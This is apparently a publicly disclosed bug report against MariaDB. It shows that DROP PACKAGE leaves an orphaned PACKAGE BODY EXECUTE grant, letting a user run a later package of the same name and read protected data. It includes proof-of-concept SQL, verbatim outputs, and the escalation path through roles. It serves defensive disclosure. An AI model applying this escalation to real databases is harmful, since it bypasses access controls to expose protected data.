HexBrain

MariaDB · Report #3908943

DROP PACKAGE leaves PACKAGE BODY grant in mysql.procs_priv causing privilege escalation

Validstatus
highseverity
19upvotes
7 Oct 2026disclosed

How it was found

Vulnerability Description

DROP PACKAGE removes both mysql.proc rows but only the PACKAGE row from mysql.procs_priv, leaving the PACKAGE BODY grant orphaned. Since PACKAGE BODY is the type that gates execution, a package later created under the same name is executable by the old grantee without any grant on it, running with the new definer's privileges.

Affected Version

Reproduced on MariaDB 12.3.2 (12.3.2-MariaDB-ubu2404), the current release, in the official mariadb:latest container. Packages require sql_mode=ORACLE.

Why This is an Oversight Rather Than Intended Behaviour

Every sibling drop statement removes its grant row. Only DROP PACKAGE does not. Run in one batch with identical setup, four objects each granted EXECUTE to the same user:

=== grants before drops ===
Routine_name    Routine_type
c_func          FUNCTION
c_pkg           PACKAGE BODY
c_pkgbody       PACKAGE BODY
c_proc          PROCEDURE

=== grants after drops ===
Routine_name    Routine_type    Proc_priv
c_pkg           PACKAGE BODY    Execute

DROP PROCEDURE, DROP FUNCTION and DROP PACKAGE BODY all cleaned up. DROP PACKAGE did not.

The surviving row is also the consequential one. DROP PACKAGE cascades and deletes both mysql.proc rows (the PACKAGE and the PACKAGE BODY), but in mysql.procs_priv it removes only the PACKAGE row and leaves the PACKAGE BODY row, which is the type that actually gates execution.

Reproduction Steps

Full script attached as poc_drop_package.sql. Abbreviated:

SET sql_mode=ORACLE;
USE appdb;

DELIMITER $$
CREATE PACKAGE kvchk AS FUNCTION f RETURN VARCHAR2(64); END$$
CREATE PACKAGE BODY kvchk AS FUNCTION f RETURN VARCHAR2(64) AS BEGIN RETURN 'benign'; END; END$$
DELIMITER ;
GRANT EXECUTE ON PACKAGE BODY appdb.kvchk TO 'reader'@'%';

DROP PACKAGE kvchk;

State immediately after the drop. The object is gone, the authorisation is not:

=== mysql.proc rows after DROP PACKAGE ===
proc_rows
0

=== mysql.procs_priv after DROP PACKAGE ===
Db      User    Routine_name    Routine_type    Proc_priv
appdb   reader  kvchk           PACKAGE BODY    Execute

Then a new package takes the name, created by root, reading a table reader has no privilege on. reader is granted nothing on it:

DELIMITER $$
CREATE PACKAGE kvchk AS FUNCTION f RETURN VARCHAR2(64); END$$
CREATE PACKAGE BODY kvchk AS FUNCTION f RETURN VARCHAR2(64) AS
  v VARCHAR2(64);
BEGIN SELECT secret INTO v FROM vault WHERE id=1; RETURN v; END; END$$
DELIMITER ;

Result, verbatim, both halves of the control:

reader> SELECT * FROM vault;
ERROR 1142 (42000): SELECT command denied to user 'reader'@'localhost' for table `appdb`.`vault`

reader> SET sql_mode=ORACLE; SELECT kvchk.f() AS leaked;
leaked
HUNT-VAULT-9f3a2c71

HUNT-VAULT-9f3a2c71 is a marker planted in the protected table, so the leak is a fact rather than an inference.

The grants reader actually holds at that moment contain no package privilege of any kind:

GRANT USAGE ON *.* TO `reader`@`%`
GRANT SELECT ON `appdb`.`public_notes` TO `reader`@`%`
GRANT SELECT ON `appdb`.`v_vault_definer` TO `reader`@`%`
GRANT EXECUTE ON PROCEDURE `appdb`.`p_vault_definer` TO `reader`@`%`
GRANT EXECUTE ON FUNCTION `appdb`.`f_vault_secret` TO `reader`@`%`

It Also Propagates Through Roles

Granting the same EXECUTE ON PACKAGE BODY to a role rather than a user leaves an identical orphan. Every current and future member of that role, including members that hold it only through a nested role, inherits execution on whatever later takes the name.

Suggested Fix

Make DROP PACKAGE delete both mysql.procs_priv rows for the name: the PACKAGE row and the PACKAGE BODY row, matching what DROP PACKAGE BODY already does for its own row. The cascade is already correct in mysql.proc; the same cascade is missing on the privilege table.

Limitations

  • This is not attacker-triggered. It needs an administrator to drop a package and later create one of the same name with a more privileged definer. That is the normal deployment pattern for packages, but the attacker does not cause it.
  • SHOW GRANTS does display the stale grant, so an administrator auditing privileges can discover it. It is silent in the sense that nothing warns at drop time and nothing warns when the name is reused.
  • I also observed that DROP DATABASE leaves routine grants behind, but that is long-standing documented MySQL and MariaDB behaviour and it drops the PROCEDURE rows too, so I am explicitly not claiming it as part of this report.

Everything above was run locally against the official container. No MariaDB system was contacted.

AI Tooling Disclosure

I used an AI assistant while exploring this and while drafting this report. Every statement quoted here was executed by me against the local container and every output block is copied verbatim from those runs, including the contrast controls.

Impact

A user who was once granted EXECUTE ON PACKAGE BODY keeps that grant after the package is dropped. If a package with the same name is created later, that user can execute it without ever being granted anything on it, and the package runs with its definer's privileges. Where the new package is more privileged than the old one, this is a privilege escalation that reads data the user cannot otherwise reach.

Demonstrated Impact

In the reproduction lab: reader is refused the protected table outright:

reader> SELECT * FROM vault;
ERROR 1142 (42000): SELECT command denied to user 'reader'@'localhost' for table `appdb`.`vault`

After an unrelated package named kvchk is dropped and a new kvchk is created by root, the same user reads that table through it, holding no grant on the new object:

reader> SET sql_mode=ORACLE; SELECT kvchk.f();
kvchk.f()
HUNT-VAULT-9f3a2c71

Drop-and-recreate under a stable name is the ordinary way packages are deployed, so the two halves occur naturally rather than needing to be engineered.

Security Implications

  • Privilege Escalation: Users can execute packages they have no authorization for
  • Data Exfiltration: Protected data can be accessed through the recreated package running with elevated privileges
  • Role Propagation: The vulnerability propagates through roles to all current and future members
  • Silent Exploitation: No warnings at drop time or when the name is reused; only visible through SHOW GRANTS auditing

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original